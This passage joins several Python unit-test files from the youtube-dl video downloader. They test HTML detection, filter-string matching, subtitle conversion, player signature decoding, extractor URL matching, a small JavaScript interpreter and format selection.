        self.assertTrue(is_html(b'<!DOCTYPE foo>\xaaa'))
        self.assertTrue(is_html(  # UTF-8 with BOM
            b'\xef\xbb\xbf<!DOCTYPE foo>\xaaa'))
        self.assertTrue(is_html(  # UTF-16-LE
            b'\xff\xfe<\x00h\x00t\x00m\x00l\x00>\x00\xe4\x00'
        ))
        self.assertTrue(is_html(  # UTF-16-BE
            b'\xfe\xff\x00<\x00h\x00t\x00m\x00l\x00>\x00\xe4'
        ))
        self.assertTrue(is_html(  # UTF-32-BE
            b'\x00\x00\xFE\xFF\x00\x00\x00<\x00\x00\x00h\x00\x00\x00t\x00\x00\x00m\x00\x00\x00l\x00\x00\x00>\x00\x00\x00\xe4'))
        self.assertTrue(is_html(  # UTF-32-LE
            b'\xFF\xFE\x00\x00<\x00\x00\x00h\x00\x00\x00t\x00\x00\x00m\x00\x00\x00l\x00\x00\x00>\x00\x00\x00\xe4\x00\x00\x00'))

    def test_render_table(self):
        self.assertEqual(
            render_table(
                ['a', 'bcd'],
                [[123, 4], [9999, 51]]),
            'a    bcd\n'
            '123  4\n'
            '9999 51')

    def test_match_str(self):
        self.assertRaises(ValueError, match_str, 'xy>foobar', {})
        self.assertFalse(match_str('xy', {'x': 1200}))
        self.assertTrue(match_str('!xy', {'x': 1200}))
        self.assertTrue(match_str('x', {'x': 1200}))
        self.assertFalse(match_str('!x', {'x': 1200}))
        self.assertTrue(match_str('x', {'x': 0}))
        self.assertFalse(match_str('x>0', {'x': 0}))
        self.assertFalse(match_str('x>0', {}))
        self.assertTrue(match_str('x>?0', {}))
        self.assertTrue(match_str('x>1K', {'x': 1200}))
        self.assertFalse(match_str('x>2K', {'x': 1200}))
        self.assertTrue(match_str('x>=1200 & x < 1300', {'x': 1200}))
        self.assertFalse(match_str('x>=1100 & x < 1200', {'x': 1200}))
        self.assertFalse(match_str('y=a212', {'y': 'foobar42'}))
        self.assertTrue(match_str('y=foobar42', {'y': 'foobar42'}))
        self.assertFalse(match_str('y!=foobar42', {'y': 'foobar42'}))
        self.assertTrue(match_str('y!=foobar2', {'y': 'foobar42'}))
        self.assertFalse(match_str(
            'like_count > 100 & dislike_count <? 50 & description',
            {'like_count': 90, 'description': 'foo'}))
        self.assertTrue(match_str(
            'like_count > 100 & dislike_count <? 50 & description',
            {'like_count': 190, 'description': 'foo'}))
        self.assertFalse(match_str(
            'like_count > 100 & dislike_count <? 50 & description',
            {'like_count': 190, 'dislike_count': 60, 'description': 'foo'}))
        self.assertFalse(match_str(
            'like_count > 100 & dislike_count <? 50 & description',
            {'like_count': 190, 'dislike_count': 10}))

    def test_parse_dfxp_time_expr(self):
        self.assertEqual(parse_dfxp_time_expr(None), None)
        self.assertEqual(parse_dfxp_time_expr(''), None)
        self.assertEqual(parse_dfxp_time_expr('0.1'), 0.1)
        self.assertEqual(parse_dfxp_time_expr('0.1s'), 0.1)
        self.assertEqual(parse_dfxp_time_expr('00:00:01'), 1.0)
        self.assertEqual(parse_dfxp_time_expr('00:00:01.100'), 1.1)
        self.assertEqual(parse_dfxp_time_expr('00:00:01:100'), 1.1)

    def test_dfxp2srt(self):
        dfxp_data = '''<?xml version="1.0" encoding="UTF-8"?>
            <tt xmlns="http://www.w3.org/ns/ttml" xml:lang="en" xmlns:tts="http://www.w3.org/ns/ttml#parameter">
            <body>
                <div xml:lang="en">
                    <p begin="0" end="1">The following line contains Chinese characters and special symbols</p>
                    <p begin="1" end="2">第二行<br/>♪♪</p>
                    <p begin="2" dur="1"><span>Third<br/>Line</span></p>
                    <p begin="3" end="-1">Lines with invalid timestamps are ignored</p>
                    <p begin="-1" end="-1">Ignore, two</p>
                    <p begin="3" dur="-1">Ignored, three</p>
                </div>
            </body>
            </tt>'''
        srt_data = '''1
00:00:00,000 --> 00:00:01,000
The following line contains Chinese characters and special symbols

2
00:00:01,000 --> 00:00:02,000
第二行
♪♪

3
00:00:02,000 --> 00:00:03,000
Third
Line

'''
        self.assertEqual(dfxp2srt(dfxp_data), srt_data)

        dfxp_data_no_default_namespace = '''<?xml version="1.0" encoding="UTF-8"?>
            <tt xml:lang="en" xmlns:tts="http://www.w3.org/ns/ttml#parameter">
            <body>
                <div xml:lang="en">
                    <p begin="0" end="1">The first line</p>
                </div>
            </body>
            </tt>'''
        srt_data = '''1
00:00:00,000 --> 00:00:01,000
The first line

'''
        self.assertEqual(dfxp2srt(dfxp_data_no_default_namespace), srt_data)

    def test_cli_option(self):
        self.assertEqual(cli_option({'proxy': '127.0.0.1:3128'}, '--proxy', 'proxy'), ['--proxy', '127.0.0.1:3128'])
        self.assertEqual(cli_option({'proxy': None}, '--proxy', 'proxy'), [])
        self.assertEqual(cli_option({}, '--proxy', 'proxy'), [])
        self.assertEqual(cli_option({'retries': 10}, '--retries', 'retries'), ['--retries', '10'])

    def test_cli_valueless_option(self):
        self.assertEqual(cli_valueless_option(
            {'downloader': 'external'}, '--external-downloader', 'downloader', 'external'), ['--external-downloader'])
        self.assertEqual(cli_valueless_option(
            {'downloader': 'internal'}, '--external-downloader', 'downloader', 'external'), [])
        self.assertEqual(cli_valueless_option(
            {'nocheckcertificate': True}, '--no-check-certificate', 'nocheckcertificate'), ['--no-check-certificate'])
        self.assertEqual(cli_valueless_option(
            {'nocheckcertificate': False}, '--no-check-certificate', 'nocheckcertificate'), [])
        self.assertEqual(cli_valueless_option(
            {'checkcertificate': True}, '--no-check-certificate', 'checkcertificate', False), [])
        self.assertEqual(cli_valueless_option(
            {'checkcertificate': False}, '--no-check-certificate', 'checkcertificate', False), ['--no-check-certificate'])

    def test_cli_bool_option(self):
        self.assertEqual(
            cli_bool_option(
                {'nocheckcertificate': True}, '--no-check-certificate', 'nocheckcertificate'),
            ['--no-check-certificate', 'true'])
        self.assertEqual(
            cli_bool_option(
                {'nocheckcertificate': True}, '--no-check-certificate', 'nocheckcertificate', separator='='),
            ['--no-check-certificate=true'])
        self.assertEqual(
            cli_bool_option(
                {'nocheckcertificate': True}, '--check-certificate', 'nocheckcertificate', 'false', 'true'),
            ['--check-certificate', 'false'])
        self.assertEqual(
            cli_bool_option(
                {'nocheckcertificate': True}, '--check-certificate', 'nocheckcertificate', 'false', 'true', '='),
            ['--check-certificate=false'])
        self.assertEqual(
            cli_bool_option(
                {'nocheckcertificate': False}, '--check-certificate', 'nocheckcertificate', 'false', 'true'),
            ['--check-certificate', 'true'])
        self.assertEqual(
            cli_bool_option(
                {'nocheckcertificate': False}, '--check-certificate', 'nocheckcertificate', 'false', 'true', '='),
            ['--check-certificate=true'])

    def test_ohdave_rsa_encrypt(self):
        N = 0xab86b6371b5318aaa1d3c9e612a9f1264f372323c8c0f19875b5fc3b3fd3afcc1e5bec527aa94bfa85bffc157e4245aebda05389a5357b75115ac94f074aefcd
        e = 65537

        self.assertEqual(
            ohdave_rsa_encrypt(b'aa111222', e, N),
            '726664bd9a23fd0c70f9f1b84aab5e3905ce1e45a584e9cbcf9bcc7510338fc1986d6c599ff990d923aa43c51c0d9013cd572e13bc58f4ae48f2ed8c0b0ba881')

    def test_encode_base_n(self):
        self.assertEqual(encode_base_n(0, 30), '0')
        self.assertEqual(encode_base_n(80, 30), '2k')

        custom_table = '9876543210ZYXWVUTSRQPONMLKJIHGFEDCBA'
        self.assertEqual(encode_base_n(0, 30, custom_table), '9')
        self.assertEqual(encode_base_n(80, 30, custom_table), '7P')

        self.assertRaises(ValueError, encode_base_n, 0, 70)
        self.assertRaises(ValueError, encode_base_n, 0, 60, custom_table)

    def test_urshift(self):
        self.assertEqual(urshift(3, 1), 1)
        self.assertEqual(urshift(-3, 1), 2147483646)

    def test_get_element_by_class(self):
        html = '''
            <span class="foo bar">nice</span>
        '''

        self.assertEqual(get_element_by_class('foo', html), 'nice')
        self.assertEqual(get_element_by_class('no-such-class', html), None)

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

import io
import re
import string

from test.helper import FakeYDL
from youtube_dl.extractor import YoutubeIE
from youtube_dl.compat import compat_str, compat_urlretrieve

_TESTS = [
    (
        'https://s.ytimg.com/yts/jsbin/html5player-vflHOr_nV.js',
        'js',
        86,
        '>=<;:/.-[+*)(\'&%$#"!ZYX0VUTSRQPONMLKJIHGFEDCBA\\yxwvutsrqponmlkjihgfedcba987654321',
    ),
    (
        'https://s.ytimg.com/yts/jsbin/html5player-vfldJ8xgI.js',
        'js',
        85,
        '3456789a0cdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS[UVWXYZ!"#$%&\'()*+,-./:;<=>?@',
    ),
    (
        'https://s.ytimg.com/yts/jsbin/html5player-vfle-mVwz.js',
        'js',
        90,
        ']\\[@?>=<;:/.-,+*)(\'&%$#"hZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjiagfedcb39876',
    ),
    (
        'https://s.ytimg.com/yts/jsbin/html5player-en_US-vfl0Cbn9e.js',
        'js',
        84,
        'O1I3456789abcde0ghijklmnopqrstuvwxyzABCDEFGHfJKLMN2PQRSTUVW@YZ!"#$%&\'()*+,-./:;<=',
    ),
    (
        'https://s.ytimg.com/yts/jsbin/html5player-en_US-vflXGBaUN.js',
        'js',
        '2ACFC7A61CA478CD21425E5A57EBD73DDC78E22A.2094302436B2D377D14A3BBA23022D023B8BC25AA',
        'A52CB8B320D22032ABB3A41D773D2B6342034902.A22E87CDD37DBE75A5E52412DC874AC16A7CFCA2',
    ),
    (
        'https://s.ytimg.com/yts/jsbin/html5player-en_US-vflBb0OQx.js',
        'js',
        84,
        '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQ0STUVWXYZ!"#$%&\'()*+,@./:;<=>'
    ),
    (
        'https://s.ytimg.com/yts/jsbin/html5player-en_US-vfl9FYC6l.js',
        'js',
        83,
        '123456789abcdefghijklmnopqr0tuvwxyzABCDETGHIJKLMNOPQRS>UVWXYZ!"#$%&\'()*+,-./:;<=F'
    ),
    (
        'https://s.ytimg.com/yts/jsbin/html5player-en_US-vflCGk6yw/html5player.js',
        'js',
        '4646B5181C6C3020DF1D9C7FCFEA.AD80ABF70C39BD369CCCAE780AFBB98FA6B6CB42766249D9488C288',
        '82C8849D94266724DC6B6AF89BBFA087EACCD963.B93C07FBA084ACAEFCF7C9D1FD0203C6C1815B6B'
    ),
    (
        'https://s.ytimg.com/yts/jsbin/html5player-en_US-vflKjOTVq/html5player.js',
        'js',
        '312AA52209E3623129A412D56A40F11CB0AF14AE.3EE09501CB14E3BCDC3B2AE808BF3F1D14E7FBF12',
        '112AA5220913623229A412D56A40F11CB0AF14AE.3EE0950FCB14EEBCDC3B2AE808BF331D14E7FBF3',
    )
]


class TestSignature(unittest.TestCase):
    def setUp(self):
        TEST_DIR = os.path.dirname(os.path.abspath(__file__))
        self.TESTDATA_DIR = os.path.join(TEST_DIR, 'testdata')
        if not os.path.exists(self.TESTDATA_DIR):
            os.mkdir(self.TESTDATA_DIR)


def make_tfunc(url, stype, sig_input, expected_sig):
    m = re.match(r'.*-([a-zA-Z0-9_-]+)(?:/watch_as3|/html5player)?\.[a-z]+$', url)
    assert m, '%r should follow URL format' % url
    test_id = m.group(1)

    def test_func(self):
        basename = 'player-%s.%s' % (test_id, stype)
        fn = os.path.join(self.TESTDATA_DIR, basename)

        if not os.path.exists(fn):
            compat_urlretrieve(url, fn)

        ydl = FakeYDL()
        ie = YoutubeIE(ydl)
        if stype == 'js':
            with io.open(fn, encoding='utf-8') as testf:
                jscode = testf.read()
            func = ie._parse_sig_js(jscode)
        else:
            assert stype == 'swf'
            with open(fn, 'rb') as testf:
                swfcode = testf.read()
            func = ie._parse_sig_swf(swfcode)
        src_sig = (
            compat_str(string.printable[:sig_input])
            if isinstance(sig_input, int) else sig_input)
        got_sig = func(src_sig)
        self.assertEqual(got_sig, expected_sig)

    test_func.__name__ = str('test_signature_' + stype + '_' + test_id)
    setattr(TestSignature, test_func.__name__, test_func)

for test_spec in _TESTS:
    make_tfunc(*test_spec)


if __name__ == '__main__':
    unittest.main()






# coding: utf-8
from __future__ import unicode_literals

import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))


from youtube_dl.extractor import (
    gen_extractors,
)


class TestNetRc(unittest.TestCase):
    def test_netrc_present(self):
        for ie in gen_extractors():
            if not hasattr(ie, '_login'):
                continue
            self.assertTrue(
                hasattr(ie, '_NETRC_MACHINE'),
                'Extractor %s supports login, but is missing a _NETRC_MACHINE property' % ie.IE_NAME)


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
import collections
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))


from test.helper import gettestcases

from youtube_dl.extractor import (
    FacebookIE,
    gen_extractors,
    YoutubeIE,
)


class TestAllURLsMatching(unittest.TestCase):
    def setUp(self):
        self.ies = gen_extractors()

    def matching_ies(self, url):
        return [ie.IE_NAME for ie in self.ies if ie.suitable(url) and ie.IE_NAME != 'generic']

    def assertMatch(self, url, ie_list):
        self.assertEqual(self.matching_ies(url), ie_list)

    def test_youtube_playlist_matching(self):
        assertPlaylist = lambda url: self.assertMatch(url, ['youtube:playlist'])
        assertPlaylist('ECUl4u3cNGP61MdtwGTqZA0MreSaDybji8')
        assertPlaylist('UUBABnxM4Ar9ten8Mdjj1j0Q')  # 585
        assertPlaylist('PL63F0C78739B09958')
        assertPlaylist('https://www.youtube.com/playlist?list=UUBABnxM4Ar9ten8Mdjj1j0Q')
        assertPlaylist('https://www.youtube.com/course?list=ECUl4u3cNGP61MdtwGTqZA0MreSaDybji8')
        assertPlaylist('https://www.youtube.com/playlist?list=PLwP_SiAcdui0KVebT0mU9Apz359a4ubsC')
        assertPlaylist('https://www.youtube.com/watch?v=AV6J6_AeFEQ&playnext=1&list=PL4023E734DA416012')  # 668
        self.assertFalse('youtube:playlist' in self.matching_ies('PLtS2H6bU1M'))
        # Top tracks
        assertPlaylist('https://www.youtube.com/playlist?list=MCUS.20142101')

    def test_youtube_matching(self):
        self.assertTrue(YoutubeIE.suitable('PLtS2H6bU1M'))
        self.assertFalse(YoutubeIE.suitable('https://www.youtube.com/watch?v=AV6J6_AeFEQ&playnext=1&list=PL4023E734DA416012'))  # 668
        self.assertMatch('http://youtu.be/BaW_jenozKc', ['youtube'])
        self.assertMatch('http://www.youtube.com/v/BaW_jenozKc', ['youtube'])
        self.assertMatch('https://youtube.googleapis.com/v/BaW_jenozKc', ['youtube'])
        self.assertMatch('http://www.cleanvideosearch.com/media/action/yt/watch?videoId=8v_4O44sfjM', ['youtube'])

    def test_youtube_channel_matching(self):
        assertChannel = lambda url: self.assertMatch(url, ['youtube:channel'])
        assertChannel('https://www.youtube.com/channel/HCtnHdj3df7iM')
        assertChannel('https://www.youtube.com/channel/HCtnHdj3df7iM?feature=gb_ch_rec')
        assertChannel('https://www.youtube.com/channel/HCtnHdj3df7iM/videos')

    def test_youtube_user_matching(self):
        self.assertMatch('http://www.youtube.com/NASAgovVideo/videos', ['youtube:user'])

    def test_youtube_feeds(self):
        self.assertMatch('https://www.youtube.com/feed/watch_later', ['youtube:watchlater'])
        self.assertMatch('https://www.youtube.com/feed/subscriptions', ['youtube:subscriptions'])
        self.assertMatch('https://www.youtube.com/feed/recommended', ['youtube:recommended'])
        self.assertMatch('https://www.youtube.com/my_favorites', ['youtube:favorites'])

    def test_youtube_show_matching(self):
        self.assertMatch('http://www.youtube.com/show/airdisasters', ['youtube:show'])

    def test_youtube_search_matching(self):
        self.assertMatch('http://www.youtube.com/results?search_query=making+mustard', ['youtube:search_url'])
        self.assertMatch('https://www.youtube.com/results?baz=bar&search_query=youtube-dl+test+video&filters=video&lclk=video', ['youtube:search_url'])

    def test_youtube_extract(self):
        assertExtractId = lambda url, id: self.assertEqual(YoutubeIE.extract_id(url), id)
        assertExtractId('http://www.youtube.com/watch?&v=BaW_jenozKc', 'BaW_jenozKc')
        assertExtractId('https://www.youtube.com/watch?&v=BaW_jenozKc', 'BaW_jenozKc')
        assertExtractId('https://www.youtube.com/watch?feature=player_embedded&v=BaW_jenozKc', 'BaW_jenozKc')
        assertExtractId('https://www.youtube.com/watch_popup?v=BaW_jenozKc', 'BaW_jenozKc')
        assertExtractId('http://www.youtube.com/watch?v=BaW_jenozKcsharePLED17F32AD9753930', 'BaW_jenozKc')
        assertExtractId('BaW_jenozKc', 'BaW_jenozKc')

    def test_facebook_matching(self):
        self.assertTrue(FacebookIE.suitable('https://www.facebook.com/Shiniknoh#!/photo.php?v=10153317450565268'))
        self.assertTrue(FacebookIE.suitable('https://www.facebook.com/cindyweather?fref=ts#!/photo.php?v=10152183998945793'))

    def test_no_duplicates(self):
        ies = gen_extractors()
        for tc in gettestcases(include_onlymatching=True):
            url = tc['url']
            for ie in ies:
                if type(ie).__name__ in ('GenericIE', tc['name'] + 'IE'):
                    self.assertTrue(ie.suitable(url), '%s should match URL %r' % (type(ie).__name__, url))
                else:
                    self.assertFalse(
                        ie.suitable(url),
                        '%s should not match URL %r . That URL belongs to %s.' % (type(ie).__name__, url, tc['name']))

    def test_keywords(self):
        self.assertMatch(':ytsubs', ['youtube:subscriptions'])
        self.assertMatch(':ytsubscriptions', ['youtube:subscriptions'])
        self.assertMatch(':ythistory', ['youtube:history'])

    def test_vimeo_matching(self):
        self.assertMatch('https://vimeo.com/channels/tributes', ['vimeo:channel'])
        self.assertMatch('https://vimeo.com/channels/31259', ['vimeo:channel'])
        self.assertMatch('https://vimeo.com/channels/31259/53576664', ['vimeo'])
        self.assertMatch('https://vimeo.com/user7108434', ['vimeo:user'])
        self.assertMatch('https://vimeo.com/user7108434/videos', ['vimeo:user'])
        self.assertMatch('https://vimeo.com/user21297594/review/75524534/3c257a1b5d', ['vimeo:review'])

    # https://github.com/rg3/youtube-dl/issues/1930
    def test_soundcloud_not_matching_sets(self):
        self.assertMatch('http://soundcloud.com/floex/sets/gone-ep', ['soundcloud:set'])

    def test_tumblr(self):
        self.assertMatch('http://tatianamaslanydaily.tumblr.com/post/54196191430/orphan-black-dvd-extra-behind-the-scenes', ['Tumblr'])
        self.assertMatch('http://tatianamaslanydaily.tumblr.com/post/54196191430', ['Tumblr'])

    def test_pbs(self):
        # https://github.com/rg3/youtube-dl/issues/2350
        self.assertMatch('http://video.pbs.org/viralplayer/2365173446/', ['pbs'])
        self.assertMatch('http://video.pbs.org/widget/partnerplayer/980042464/', ['pbs'])

    def test_yahoo_https(self):
        # https://github.com/rg3/youtube-dl/issues/2701
        self.assertMatch(
            'https://screen.yahoo.com/smartwatches-latest-wearable-gadgets-163745379-cbs.html',
            ['Yahoo'])

    def test_no_duplicated_ie_names(self):
        name_accu = collections.defaultdict(list)
        for ie in self.ies:
            name_accu[ie.IE_NAME.lower()].append(type(ie).__name__)
        for (ie_name, ie_list) in name_accu.items():
            self.assertEqual(
                len(ie_list), 1,
                'Multiple extractors with the same IE_NAME "%s" (%s)' % (ie_name, ', '.join(ie_list)))


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from youtube_dl.jsinterp import JSInterpreter


class TestJSInterpreter(unittest.TestCase):
    def test_basic(self):
        jsi = JSInterpreter('function x(){;}')
        self.assertEqual(jsi.call_function('x'), None)

        jsi = JSInterpreter('function x3(){return 42;}')
        self.assertEqual(jsi.call_function('x3'), 42)

        jsi = JSInterpreter('var x5 = function(){return 42;}')
        self.assertEqual(jsi.call_function('x5'), 42)

    def test_calc(self):
        jsi = JSInterpreter('function x4(a){return 2*a+1;}')
        self.assertEqual(jsi.call_function('x4', 3), 7)

    def test_empty_return(self):
        jsi = JSInterpreter('function f(){return; y()}')
        self.assertEqual(jsi.call_function('f'), None)

    def test_morespace(self):
        jsi = JSInterpreter('function x (a) { return 2 * a + 1 ; }')
        self.assertEqual(jsi.call_function('x', 3), 7)

        jsi = JSInterpreter('function f () { x =  2  ; return x; }')
        self.assertEqual(jsi.call_function('f'), 2)

    def test_strange_chars(self):
        jsi = JSInterpreter('function $_xY1 ($_axY1) { var $_axY2 = $_axY1 + 1; return $_axY2; }')
        self.assertEqual(jsi.call_function('$_xY1', 20), 21)

    def test_operators(self):
        jsi = JSInterpreter('function f(){return 1 << 5;}')
        self.assertEqual(jsi.call_function('f'), 32)

        jsi = JSInterpreter('function f(){return 19 & 21;}')
        self.assertEqual(jsi.call_function('f'), 17)

        jsi = JSInterpreter('function f(){return 11 >> 2;}')
        self.assertEqual(jsi.call_function('f'), 2)

    def test_array_access(self):
        jsi = JSInterpreter('function f(){var x = [1,2,3]; x[0] = 4; x[0] = 5; x[2] = 7; return x;}')
        self.assertEqual(jsi.call_function('f'), [5, 2, 7])

    def test_parens(self):
        jsi = JSInterpreter('function f(){return (1) + (2) * ((( (( (((((3)))))) )) ));}')
        self.assertEqual(jsi.call_function('f'), 7)

        jsi = JSInterpreter('function f(){return (1 + 2) * 3;}')
        self.assertEqual(jsi.call_function('f'), 9)

    def test_assignments(self):
        jsi = JSInterpreter('function f(){var x = 20; x = 30 + 1; return x;}')
        self.assertEqual(jsi.call_function('f'), 31)

        jsi = JSInterpreter('function f(){var x = 20; x += 30 + 1; return x;}')
        self.assertEqual(jsi.call_function('f'), 51)

        jsi = JSInterpreter('function f(){var x = 20; x -= 30 + 1; return x;}')
        self.assertEqual(jsi.call_function('f'), -11)

    def test_comments(self):
        'Skipping: Not yet fully implemented'
        return
        jsi = JSInterpreter('''
        function x() {
            var x = /* 1 + */ 2;
            var y = /* 30
            * 40 */ 50;
            return x + y;
        }
        ''')
        self.assertEqual(jsi.call_function('x'), 52)

        jsi = JSInterpreter('''
        function f() {
            var x = "/*";
            var y = 1 /* comment */ + 2;
            return y;
        }
        ''')
        self.assertEqual(jsi.call_function('f'), 3)

    def test_precedence(self):
        jsi = JSInterpreter('''
        function x() {
            var a = [10, 20, 30, 40, 50];
            var b = 6;
            a[0]=a[b%a.length];
            return a;
        }''')
        self.assertEqual(jsi.call_function('x'), [20, 20, 30, 40, 50])


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

import copy

from test.helper import FakeYDL, assertRegexpMatches
from youtube_dl import YoutubeDL
from youtube_dl.compat import compat_str, compat_urllib_error
from youtube_dl.extractor import YoutubeIE
from youtube_dl.extractor.common import InfoExtractor
from youtube_dl.postprocessor.common import PostProcessor
from youtube_dl.utils import ExtractorError, match_filter_func

TEST_URL = 'http://localhost/sample.mp4'


class YDL(FakeYDL):
    def __init__(self, *args, **kwargs):
        super(YDL, self).__init__(*args, **kwargs)
        self.downloaded_info_dicts = []
        self.msgs = []

    def process_info(self, info_dict):
        self.downloaded_info_dicts.append(info_dict)

    def to_screen(self, msg):
        self.msgs.append(msg)


def _make_result(formats, **kwargs):
    res = {
        'formats': formats,
        'id': 'testid',
        'title': 'testttitle',
        'extractor': 'testex',
    }
    res.update(**kwargs)
    return res


class TestFormatSelection(unittest.TestCase):
    def test_prefer_free_formats(self):
        # Same resolution => download webm
        ydl = YDL()
        ydl.params['prefer_free_formats'] = True
        formats = [
            {'ext': 'webm', 'height': 460, 'url': TEST_URL},
            {'ext': 'mp4', 'height': 460, 'url': TEST_URL},
        ]
        info_dict = _make_result(formats)
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['ext'], 'webm')

        # Different resolution => download best quality (mp4)
        ydl = YDL()
        ydl.params['prefer_free_formats'] = True
        formats = [
            {'ext': 'webm', 'height': 720, 'url': TEST_URL},
            {'ext': 'mp4', 'height': 1080, 'url': TEST_URL},
        ]
        info_dict['formats'] = formats
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['ext'], 'mp4')

        # No prefer_free_formats => prefer mp4 and flv for greater compatibility
        ydl = YDL()
        ydl.params['prefer_free_formats'] = False
        formats = [
            {'ext': 'webm', 'height': 720, 'url': TEST_URL},
            {'ext': 'mp4', 'height': 720, 'url': TEST_URL},
            {'ext': 'flv', 'height': 720, 'url': TEST_URL},
        ]
        info_dict['formats'] = formats
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['ext'], 'mp4')

        ydl = YDL()
        ydl.params['prefer_free_formats'] = False
        formats = [
            {'ext': 'flv', 'height': 720, 'url': TEST_URL},
            {'ext': 'webm', 'height': 720, 'url': TEST_URL},
        ]
        info_dict['formats'] = formats
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['ext'], 'flv')

    def test_format_selection(self):
        formats = [
            {'format_id': '35', 'ext': 'mp4', 'preference': 1, 'url': TEST_URL},
            {'format_id': 'example-with-dashes', 'ext': 'webm', 'preference': 1, 'url': TEST_URL},
            {'format_id': '45', 'ext': 'webm', 'preference': 2, 'url': TEST_URL},
            {'format_id': '47', 'ext': 'webm', 'preference': 3, 'url': TEST_URL},
            {'format_id': '2', 'ext': 'flv', 'preference': 4, 'url': TEST_URL},
        ]
        info_dict = _make_result(formats)

        ydl = YDL({'format': '20/47'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], '47')

        ydl = YDL({'format': '20/71/worst'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], '35')

        ydl = YDL()
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], '2')

        ydl = YDL({'format': 'webm/mp4'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], '47')

        ydl = YDL({'format': '3gp/40/mp4'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], '35')

        ydl = YDL({'format': 'example-with-dashes'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'example-with-dashes')

    def test_format_selection_audio(self):
        formats = [
            {'format_id': 'audio-low', 'ext': 'webm', 'preference': 1, 'vcodec': 'none', 'url': TEST_URL},
            {'format_id': 'audio-mid', 'ext': 'webm', 'preference': 2, 'vcodec': 'none', 'url': TEST_URL},
            {'format_id': 'audio-high', 'ext': 'flv', 'preference': 3, 'vcodec': 'none', 'url': TEST_URL},
            {'format_id': 'vid', 'ext': 'mp4', 'preference': 4, 'url': TEST_URL},
        ]
        info_dict = _make_result(formats)

        ydl = YDL({'format': 'bestaudio'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'audio-high')

        ydl = YDL({'format': 'worstaudio'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'audio-low')

        formats = [
            {'format_id': 'vid-low', 'ext': 'mp4', 'preference': 1, 'url': TEST_URL},
            {'format_id': 'vid-high', 'ext': 'mp4', 'preference': 2, 'url': TEST_URL},
        ]
        info_dict = _make_result(formats)

        ydl = YDL({'format': 'bestaudio/worstaudio/best'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'vid-high')

    def test_format_selection_audio_exts(self):
        formats = [
            {'format_id': 'mp3-64', 'ext': 'mp3', 'abr': 64, 'url': 'http://_', 'vcodec': 'none'},
            {'format_id': 'ogg-64', 'ext': 'ogg', 'abr': 64, 'url': 'http://_', 'vcodec': 'none'},
            {'format_id': 'aac-64', 'ext': 'aac', 'abr': 64, 'url': 'http://_', 'vcodec': 'none'},
            {'format_id': 'mp3-32', 'ext': 'mp3', 'abr': 32, 'url': 'http://_', 'vcodec': 'none'},
            {'format_id': 'aac-32', 'ext': 'aac', 'abr': 32, 'url': 'http://_', 'vcodec': 'none'},
        ]

        info_dict = _make_result(formats)
        ydl = YDL({'format': 'best'})
        ie = YoutubeIE(ydl)
        ie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(copy.deepcopy(info_dict))
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'aac-64')

        ydl = YDL({'format': 'mp3'})
        ie = YoutubeIE(ydl)
        ie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(copy.deepcopy(info_dict))
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'mp3-64')

        ydl = YDL({'prefer_free_formats': True})
        ie = YoutubeIE(ydl)
        ie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(copy.deepcopy(info_dict))
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'ogg-64')

    def test_format_selection_video(self):
        formats = [
            {'format_id': 'dash-video-low', 'ext': 'mp4', 'preference': 1, 'acodec': 'none', 'url': TEST_URL},
